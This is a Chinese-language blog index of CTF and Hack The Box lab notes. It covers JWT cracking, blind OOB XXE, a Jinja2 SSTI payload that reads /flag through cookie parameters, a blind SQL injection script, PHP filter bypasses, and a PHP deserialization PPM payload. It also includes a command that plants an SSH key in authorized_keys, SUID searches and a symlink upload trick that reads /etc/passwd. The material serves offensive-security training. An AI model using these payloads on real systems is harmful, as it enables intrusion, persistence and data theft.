[靶场笔记]第十四章

JWT爆破 JWT和session其实有一点点相像,但JWT拥有session所没有的密钥签名验证。具体可以看这篇文章。简单来说就是必须要有对应的key才能对修改后的JWT进行重新加密 但是这种key是可以通过爆破得来的,一般会用这个工具 bind_oob_xxe 一种比较少见的攻击方式,拿一道题记录一下 数据包如下 很清楚可以看到一个外部请求的xml文件, 先回顾一下什么是xml、dtd、xxe xml:一种标签语言,带有各种可人为定义功能和名字的标签。标签就类似C++中的函数 dtd:类似专门定义源xml文件中所声明函数的文件,类似python的库,但是以文件的形式单独存在 xxe:利用xml解释器允许外部引用其他文件或协议的功能制造任意文件读取、RCE等漏洞的攻击方法 而bind_oob_xxe和普通xxe又有所不同,下面这张图就很好的展示了bind_oob_xxe的攻击流程 简单来说就是:在攻击者vps中的dtd放置恶意指令,再由攻击者vps中的xml文件引用该dtd,让受害者主动访问攻击者vps即可。 而之所以这样“绕一圈”在dtd中写恶意指令而不是直接在xml中写的目的,就是为了规避受害者xml解释器对恶意指令的过滤。接下来就以这道题为例,先在vps创建一个xml文件 还有dtd文件 以及一个php文件。有一点要注意就是,攻击者vps必须带有php环境且能够正常运行,因为是受害者来请求攻击者的php 最后再用python简单起一个http服务就能拿到/etc/passwd文件 cookie传参 做ssti注入时如果碰到了这种黑名单 ' " _ args -- 无法使用 request.args os -- 无法导入os 不允许post -- 无法使用 request.value 可以考虑用request.cookies接受参数。有点类似php中的?a=$_GET[1]&1=shell 下面是一个例子(jinjia2): 原版payload:{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}} 改版payload: {{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}} cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag 一个有关php://filter的细节 重点在最后一项,也就是说,如果碰到下面这两段payload php://filter/read=convert.base64-encode/resource=file.txt php://filter/convert.base64-encode/resource=file.txt 如果都是应用在file_get_contents($file),效果是一样的。不加write和read就是交由情况自动判断读或写 date函数 先看看参数 date函数有个功能,就是会自动将\进行转义,例如date($name),将name值是\f\l\a\g时会自动被转义成flag unicode代码 这是一段看似正常实际暗藏玄机的代码。看到注释后面的高亮想必就已经看出问题来了,毕竟高亮是不会骗人的。将这段代码复制到ide中会得到下面这个样的代码 会发现和在网页中看到的完全不一样。不过也不用担心,按照正常的GET参数名进行url编码后即可

February 28, 2024 · 1 min · Red

[靶场笔记]第十三章

if判断 写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️) if(判断语句,真结果,假结果) 下面是一个示例exp import requests s=requests.session() flag = '' for i in range(1,50): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}': url="..." sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j) data={"id":sqls} c = s.post(url,data=data,timeout=10) if 'Hello' in c.text: flag += j print(flag) break base_convert() 这个函数可以在任意进制之间进行切换,例如 base_convert(37907361743,10,36) 就是把十进制转换为36进制,结果是_GET {1}&1=system 先来回顾一下这种用法 $a='system'; $a('cat/flag'); 此时很容易想到一种绕过方法 ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag 但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了 ?c=($_GET{a})($_GET{b})&a=system&b=cat /flag RC4加密 这里记录一个RC4加密脚本 from urllib import parse def s_init(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒 S[i], S[j] = S[j], S[i] return S def rc4_encode(plain_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in plain_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_decode(cipher_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in cipher_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_encode_url(plain_text, key): return parse.quote(rc4_encode(plain_text, key)) if __name__ == '__main__': # keys = str(input("Enter the key: ")) keys = 'HereIsTreasure' plain = input("Enter the plain text: ") print("The encoded text is: " + rc4_encode_url(plain, keys)) local_file:// 碰到了一个这样的过滤 ...

February 17, 2024 · 2 min · Red

[HTB]第一章

ssh公钥免密登录 在找到rce后为了达成免密码登录的效果,可以执行下面的代码使用ssh-keygen生成一个id_rsa、id_rsa.pub,并向目标机器写入id_rsa.pub,最后用所提供的账号密码登录就行 ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys 文件查找 当在进行提权且sudo无法使用时,可以使用下面这句文件查找进行相关可读文件的查询。(有时mail文件夹下会有好东西) find / -type f -user admin -readable 2>/dev/null 搜索高权限指令(提权) find / -perm -u=s -type f 2>/dev/null FUZZ域名 积累一个用法和一个字典集——seclists,很全,同时可以用来fuzz域名什么的,下面是例子 wfuzz -c -w /usr/share/seclists/Discovery/DNS/xxxx.txt -u “http://….” -H “Host: FUZZ.xxxx.com” -hl 7 一个很骚的软链接与文件上传结合用法 如果你碰到了一个文件上传入口,但是要求你只能上传一个压缩包,且压缩包里只能有一个pdf文件,你会怎么做? 这个很骚的做法就是将pdf当作你想要读取的文件的软连接,命令如下 ln -s /etc/passwd test.pdf #软链接 zip --symlinks test.zip test.pdf #--symlinks参数是仅封装软链接文件而非源文件

February 15, 2024 · 1 min · Red

2024新年红包题

将饺替换成0,子替换成1,二进制转换字符串得到 下载附件,审计源码 题目开了imagick扩展 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" . serialize($a); $ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata; // print($ppm); print(base64_encode($ppm)); //UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30= 有关PPM格式示例文件规范如下(From ChatGPT): ...

February 11, 2024 · 2 min · Red

[靶场笔记]第十二章

switch绕过 switch在case判断条件时会将原先是字符串的内容剔除并转换成与判断语句相同的类型 因此,在下面这段代码中 会输出 但是,如果使用弱比较对其进行过滤,例如 if($a=='2') 这个条件是不会成立的,因为'2+0’不等于'2' 短标签绕过 如果php等关键字被过滤,可以尝试使用短标签,例如 <?= ...... ?> <% ..... %> <? ..... ?> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用 <script language="php"> .... </script> #不需要修改参数开关,但是只能在7.0以下可用 []绕过 如果[]不行,可以用{}代替 .user.ini 是php的一个全局配置文件,对整个web服务(nginx)起作用。可以用在文件上传漏洞 auto_prepend_file = <filename> //包含在文件头 auto_append_file = <filename> //包含在文件尾 假设上传了一个图片,如果在与这一文件同级目录下存在php文件,把上面的改成图片文件名,就会把图片包含进php文件里,例如 auto_prepend_file = 1.jpg hash_hmac函数 [羊城杯 2020]Blackcat hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值 参数 必需的 描述 algo 是 要使用的哈希算法名称,例如:“md5”,“sha256”,“haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。 data 是 要进行哈希运算的消息。 key 是 使用 HMAC 生成信息摘要时所使用的密钥。 raw_output 否 设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。 这个函数有一个特性,如果data传入的值为数组,那么就会返回NULL ...

February 6, 2024 · 1 min · Red